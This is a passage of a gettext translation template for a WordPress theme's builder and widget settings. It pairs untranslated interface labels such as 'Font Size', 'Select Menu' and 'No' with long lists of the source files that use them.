#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:250
#: inc/customizer/config/sections/pencidesign_new_section_topbar_section.php:163
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:79
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:123
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:139
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:205
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:90
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:106
#: inc/elementor/base/base-widget.php:179
#: inc/elementor/base/base-widget.php:212
#: inc/elementor/base/base-widget.php:343
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:100
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:230
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:350
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:71
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:145
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:57
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:320
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:57
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:367
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:189
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:75
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:85
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:71
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:198
#: inc/js_composer/inc/vc-params-helper.php:135
#: inc/js_composer/inc/vc-params-helper.php:850
#: inc/js_composer/shortcodes/big_grid/settings.php:43
#: inc/js_composer/shortcodes/count_down/settings.php:26
#: inc/js_composer/shortcodes/counter_up/settings.php:201
#: inc/js_composer/shortcodes/social_counter/settings.php:185
#: inc/js_composer/shortcodes/testimonails/settings.php:41
#: inc/js_composer/shortcodes/video_playlist/settings.php:97
#: inc/modules/penci-menu-callback.php:143
#: inc/template-builder/single-elements/postpagination.php:48
#: inc/template-builder/single-elements/relatedpost.php:206
#: inc/widgets/social_counter.php:342
msgid "Style 4"
msgstr ""

#: inc/builder/elements/pb_darkmode/settings.php:30
#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:141
msgid "General Background Color"
msgstr ""

#: inc/builder/elements/pb_darkmode/settings.php:38
msgid "Day Color"
msgstr ""

#: inc/builder/elements/pb_darkmode/settings.php:46
msgid "Day Background Color"
msgstr ""

#: inc/builder/elements/pb_darkmode/settings.php:54
msgid "Night Color"
msgstr ""

#: inc/builder/elements/pb_darkmode/settings.php:62
msgid "Night Background Color"
msgstr ""

#: inc/builder/elements/pb_darkmode/settings.php:70
#: inc/builder/elements/pb_dropdown_menu/settings.php:127
#: inc/builder/elements/pb_hamburger_menu/settings.php:147
#: inc/builder/elements/pb_html_ad/settings.php:61
#: inc/builder/elements/pb_html_ad_2/settings.php:61
#: inc/builder/elements/pb_html_ad_3/settings.php:61
#: inc/builder/elements/pb_html_ad_mobile/settings.php:61
#: inc/builder/elements/pb_html_ad_mobile_2/settings.php:61
#: inc/builder/elements/pb_login_register/settings.php:60
#: inc/builder/elements/pb_login_register_mobile/settings.php:60
#: inc/builder/elements/pb_logo/settings.php:282
#: inc/builder/elements/pb_logo_mobile/settings.php:286
#: inc/builder/elements/pb_logo_sidebar/settings.php:286
#: inc/builder/elements/pb_logo_sticky/settings.php:258
#: inc/builder/elements/pb_main_menu/settings.php:370
#: inc/builder/elements/pb_mobile_menu/settings.php:127
#: inc/builder/elements/pb_news_ticker/settings.php:345
#: inc/builder/elements/pb_search_form/settings.php:239
#: inc/builder/elements/pb_search_form_sidebar/settings.php:219
#: inc/builder/elements/pb_search_icon/settings.php:290
#: inc/builder/elements/pb_second_menu/settings.php:364
#: inc/builder/elements/pb_shortcode/settings.php:19
#: inc/builder/elements/pb_shortcode_2/settings.php:19
#: inc/builder/elements/pb_shortcode_3/settings.php:19
#: inc/builder/elements/pb_shortcode_mobile/settings.php:19
#: inc/builder/elements/pb_social_icon/settings.php:104
#: inc/builder/elements/pb_social_icon_mobile/settings.php:104
#: inc/builder/elements/pb_third_menu/settings.php:366
#: inc/builder/elements/pb_vertical_line_1/settings.php:35
#: inc/builder/elements/pb_vertical_line_2/settings.php:34
#: inc/builder/elements/pb_vertical_line_3/settings.php:34
#: inc/builder/elements/pb_vertical_line_4/settings.php:34
#: inc/builder/elements/pb_vertical_line_5/settings.php:34
#: inc/builder/elements/pb_vertical_line_mobile_1/settings.php:34
#: inc/builder/elements/pb_vertical_line_mobile_2/settings.php:34
#: inc/builder/elements/pb_wishlist_icon/settings.php:157
msgid "Element Spacing"
msgstr ""

#: inc/builder/elements/pb_date_time/settings.php:9
msgid "Date/Time Format"
msgstr ""

#: inc/builder/elements/pb_date_time/settings.php:10
msgid ""
"Enter the date time format here. For more information, please read the "
"document <a target=\"_blank\" href=\"https://wordpress.org/support/article/"
"formatting-date-and-time/\">here</a>"
msgstr ""

#: inc/builder/elements/pb_date_time/settings.php:27
#: inc/builder/elements/pb_html_ad/settings.php:40
#: inc/builder/elements/pb_html_ad_2/settings.php:41
#: inc/builder/elements/pb_html_ad_3/settings.php:41
#: inc/builder/elements/pb_html_ad_mobile/settings.php:40
#: inc/builder/elements/pb_html_ad_mobile_2/settings.php:40
#: inc/customizer/config/options/homepage.php:35
#: inc/customizer/config/options/post_layouts.php:33
#: inc/customizer/config/options/sidebar.php:30
#: inc/customizer/config/options/single_post.php:39
#: inc/customizer/config/options/topbar.php:31
#: inc/customizer/config/options/woocommerce.php:33
#: inc/js_composer/shortcodes/custom_sliders/settings.php:356
#: inc/js_composer/shortcodes/custom_sliders/settings.php:450
#: inc/js_composer/shortcodes/custom_sliders/settings.php:574
#: inc/js_composer/shortcodes/news_ticker/settings.php:116
#: inc/js_composer/shortcodes/pc_archive_breadcrumb/settings.php:59
#: inc/js_composer/shortcodes/pc_archive_description/settings.php:65
#: inc/js_composer/shortcodes/pc_archive_title/settings.php:106
#: inc/js_composer/shortcodes/pc_single_breadcrumb/settings.php:72
#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:131
#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:152
#: inc/js_composer/shortcodes/pc_single_subtitle/settings.php:66
#: inc/js_composer/shortcodes/pc_single_title/settings.php:72
#: inc/options/framework/fields/typography/typography.php:233
#: inc/options/options.php:71 inc/options/options.php:203
#: inc/options/options.php:282 inc/options/options.php:295
#: inc/options/options.php:318 inc/options/options.php:417
msgid "Font Size"
msgstr ""

#: inc/builder/elements/pb_dropdown_menu/settings.php:10
#: inc/builder/elements/pb_main_menu/settings.php:10
#: inc/builder/elements/pb_second_menu/settings.php:10
#: inc/builder/elements/pb_third_menu/settings.php:13
msgid "Select Menu"
msgstr ""

#: inc/builder/elements/pb_dropdown_menu/settings.php:11
#: inc/builder/elements/pb_second_menu/settings.php:11
#: inc/builder/elements/pb_third_menu/settings.php:14
msgid "Select an the menu"
msgstr ""

#: inc/builder/elements/pb_dropdown_menu/settings.php:13
#: inc/builder/elements/pb_main_menu/settings.php:12
#: inc/builder/elements/pb_second_menu/settings.php:12
#: inc/builder/elements/pb_third_menu/settings.php:16
#, php-format
msgid ""
"Go to the <a href=\"%s\" target=\"_blank\">Menus screen</a> to add new or "
"edit your menus."
msgstr ""

#: inc/builder/elements/pb_dropdown_menu/settings.php:28
#: inc/builder/elements/pb_main_menu/settings.php:54
msgid "Custom Font For Menu Items"
msgstr ""

#: inc/builder/elements/pb_dropdown_menu/settings.php:37
msgid "Font Weight For Dropdown Menu Items"
msgstr ""

#: inc/builder/elements/pb_dropdown_menu/settings.php:62
#: inc/builder/elements/pb_main_menu/settings.php:88
#: inc/builder/elements/pb_second_menu/settings.php:89
#: inc/builder/elements/pb_third_menu/settings.php:92
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:101
msgid "Turn Off Uppercase on Menu items"
msgstr ""

#: inc/builder/elements/pb_dropdown_menu/settings.php:73
#: inc/customizer/config/sections/penci_menu_hbg_section.php:218
#: inc/customizer/config/sections/pencidesign_logo_header_verticalnav_section.php:61
msgid "Enable click on Parent Menu Item to open Child Menu Items"
msgstr ""

#: inc/builder/elements/pb_dropdown_menu/settings.php:74
#: inc/customizer/config/sections/penci_menu_hbg_section.php:219
#: inc/customizer/config/sections/pencidesign_logo_header_verticalnav_section.php:62
msgid ""
"By default, you need to click to the arrow on the right side to open child "
"menu items - this option will help you click on the parent menu items to "
"open child menu items"
msgstr ""

#: inc/builder/elements/pb_dropdown_menu/settings.php:77
#: inc/builder/elements/pb_login_register/settings.php:85
#: inc/builder/elements/pb_main_menu/settings.php:31
#: inc/builder/elements/pb_main_menu/settings.php:45
#: inc/builder/elements/pb_main_menu/settings.php:91
#: inc/builder/elements/pb_news_ticker/settings.php:106
#: inc/builder/elements/pb_news_ticker/settings.php:198
#: inc/builder/elements/pb_news_ticker/settings.php:210
#: inc/builder/elements/pb_second_menu/settings.php:32
#: inc/builder/elements/pb_second_menu/settings.php:46
#: inc/builder/elements/pb_third_menu/settings.php:35
#: inc/builder/elements/pb_third_menu/settings.php:49
#: inc/builder/elements/pb_third_menu/settings.php:95
#: inc/dashboard/lib/meta-box/inc/fields/checkbox.php:53
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:177
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:190
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:203
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:216
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:225
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:234
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:264
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:278
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:303
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:329
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:355
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:367
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:444
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1299
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:122
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:132
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:224
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:237
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:258
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:285
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:298
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:317
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:329
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:341
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:418
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:796
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:219
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:273
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:294
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:118
#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:226
#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:260
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:137
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:255
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:266
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:277
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:259
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:295
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:323
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:872
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:74
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:81
#: inc/elementor/modules/penci-map/widgets/penci-map.php:170
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:73
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:356
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1177
#: inc/elementor/modules/penci-pintersest/widgets/penci-pintersest.php:73
#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:68
#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:77
#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:87
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:140
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:63
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:73
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:138
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:209
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:256
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:121
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:172
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:244
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:257
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:280
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:292
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:312
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:338
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:421
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:432
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:444
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:458
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:526
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:149
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:311
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:324
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:347
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:359
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:385
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:151
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:166
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:182
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:275
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:305
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:320
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:381
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:492
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:521
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:533
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:705
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:106
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:121
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:136
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:705
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:718
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:731
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:743
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:766
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:792
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:914
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:927
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:940
#: inc/elementor/modules/penci-product/widgets/penci-product.php:368
#: inc/elementor/modules/penci-product/widgets/penci-product.php:378
#: inc/elementor/modules/penci-product/widgets/penci-product.php:388
#: inc/elementor/modules/penci-product/widgets/penci-product.php:408
#: inc/elementor/modules/penci-product/widgets/penci-product.php:417
#: inc/elementor/modules/penci-product/widgets/penci-product.php:437
#: inc/elementor/modules/penci-product/widgets/penci-product.php:535
#: inc/elementor/modules/penci-product/widgets/penci-product.php:545
#: inc/elementor/modules/penci-product/widgets/penci-product.php:555
#: inc/elementor/modules/penci-product/widgets/penci-product.php:564
#: inc/elementor/modules/penci-product/widgets/penci-product.php:576
#: inc/elementor/modules/penci-product/widgets/penci-product.php:588
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:223
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:322
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:345
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:355
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:477
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:486
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:495
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:543
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:715
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:766
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:73
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:443
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:57
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:79
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:88
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:97
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:156
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:95
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:101
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:233
#: inc/gutenberg/block/featured-boxes/index.js:65
#: inc/gutenberg/block/portfolio/index.js:57
#: inc/js_composer/shortcodes/custom_sliders/settings.php:147
#: inc/js_composer/shortcodes/social_counter/settings.php:172
#: inc/js_composer/shortcodes/social_counter/settings.php:383
#: inc/meta-box/categories-meta-box.php:336 inc/meta-box/inc/fields.php:162
#: inc/meta-box/inc/fields.php:173 inc/meta-box/inc/fields.php:182
#: inc/meta-box/meta-box.php:622 inc/meta-box/meta-box.php:638
#: inc/meta-box/meta-box.php:653 inc/meta-box/meta-box.php:667
#: inc/meta-box/meta-box.php:681 inc/meta-box/meta-box.php:695
#: inc/meta-box/meta-box.php:1120 inc/meta-box/register/page.php:186
#: inc/meta-box/register/page.php:279
#: inc/template-builder/single-elements/custom-field.php:95
#: inc/template-builder/single-elements/custom-field.php:103
#: inc/template-builder/single-elements/featured-overlay.php:217
#: inc/template-builder/single-elements/featured-overlay.php:245
#: inc/template-builder/single-elements/featured-overlay.php:252
#: inc/template-builder/single-elements/featured-overlay.php:259
#: inc/template-builder/single-elements/featured-overlay.php:267
#: inc/template-builder/single-elements/featured-overlay.php:298
#: inc/template-builder/single-elements/featured-overlay.php:305
#: inc/template-builder/single-elements/featured-overlay.php:313
#: inc/template-builder/single-elements/featured-overlay.php:320
#: inc/template-builder/single-elements/featured-overlay.php:328
#: inc/template-builder/single-elements/featured-overlay.php:335
#: inc/template-builder/single-elements/featured-overlay.php:343
#: inc/template-builder/single-elements/featured-overlay.php:350
#: inc/template-builder/single-elements/meta.php:95
#: inc/template-builder/single-elements/meta.php:102
#: inc/template-builder/single-elements/meta.php:109
#: inc/template-builder/single-elements/meta.php:140
#: inc/template-builder/single-elements/meta.php:148
#: inc/template-builder/single-elements/meta.php:155
#: inc/template-builder/single-elements/meta.php:163
#: inc/template-builder/single-elements/meta.php:170
#: inc/template-builder/single-elements/meta.php:178
#: inc/template-builder/single-elements/meta.php:185
#: inc/template-builder/single-elements/meta.php:193
#: inc/template-builder/single-elements/meta.php:200
#: inc/template-function.php:332 inc/widgets/social_counter.php:411
#: inc/widgets/social_counter.php:420
msgid "No"
msgstr ""

#: inc/builder/elements/pb_dropdown_menu/settings.php:78
#: inc/builder/elements/pb_login_register/settings.php:84
#: inc/builder/elements/pb_main_menu/settings.php:32
#: inc/builder/elements/pb_main_menu/settings.php:46
#: inc/builder/elements/pb_main_menu/settings.php:92
#: inc/builder/elements/pb_news_ticker/settings.php:107
#: inc/builder/elements/pb_news_ticker/settings.php:199
#: inc/builder/elements/pb_news_ticker/settings.php:211
#: inc/builder/elements/pb_second_menu/settings.php:33
#: inc/builder/elements/pb_second_menu/settings.php:47
#: inc/builder/elements/pb_third_menu/settings.php:36
#: inc/builder/elements/pb_third_menu/settings.php:50
#: inc/builder/elements/pb_third_menu/settings.php:96
#: inc/dashboard/lib/meta-box/inc/fields/checkbox.php:53
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:176
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:189
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:202
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:215
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:224
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:233
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:263
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:277
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:302
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:328
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:354
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:366
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:443
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1298
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:121
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:131
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:223
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:236
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:257
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:284
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:297
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:316
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:328
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:340
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:417
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:795
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:218
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:272
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:293
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:117
#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:225
#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:259
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:136
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:254
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:265
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:276
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:258
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:294
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:322
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:871
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:73
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:80
#: inc/elementor/modules/penci-map/widgets/penci-map.php:169
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:72
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:355
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1176
#: inc/elementor/modules/penci-pintersest/widgets/penci-pintersest.php:72
#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:67
#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:76
#: inc/elementor/modules/penci-popular-cat/widgets/penci-popular-cat.php:86
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:139
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:62
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:72
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:137
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:208
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:255
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:120
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:173
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:243
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:256
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:279
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:291
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:311
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:337
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:420
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:431
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:443
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:457
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:525
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:148
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:310
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:323
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:346
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:358
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:384
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:150
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:165
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:181
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:274
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:304
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:319
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:380
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:491
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:520
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:532
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:704
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:105
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:120
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:135
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:704
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:717
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:730
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:742
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:765
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:791
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:913
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:926
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:939
#: inc/elementor/modules/penci-product/widgets/penci-product.php:367
#: inc/elementor/modules/penci-product/widgets/penci-product.php:377
#: inc/elementor/modules/penci-product/widgets/penci-product.php:387
#: inc/elementor/modules/penci-product/widgets/penci-product.php:407
#: inc/elementor/modules/penci-product/widgets/penci-product.php:416
#: inc/elementor/modules/penci-product/widgets/penci-product.php:436
#: inc/elementor/modules/penci-product/widgets/penci-product.php:534
#: inc/elementor/modules/penci-product/widgets/penci-product.php:544
#: inc/elementor/modules/penci-product/widgets/penci-product.php:554
#: inc/elementor/modules/penci-product/widgets/penci-product.php:563
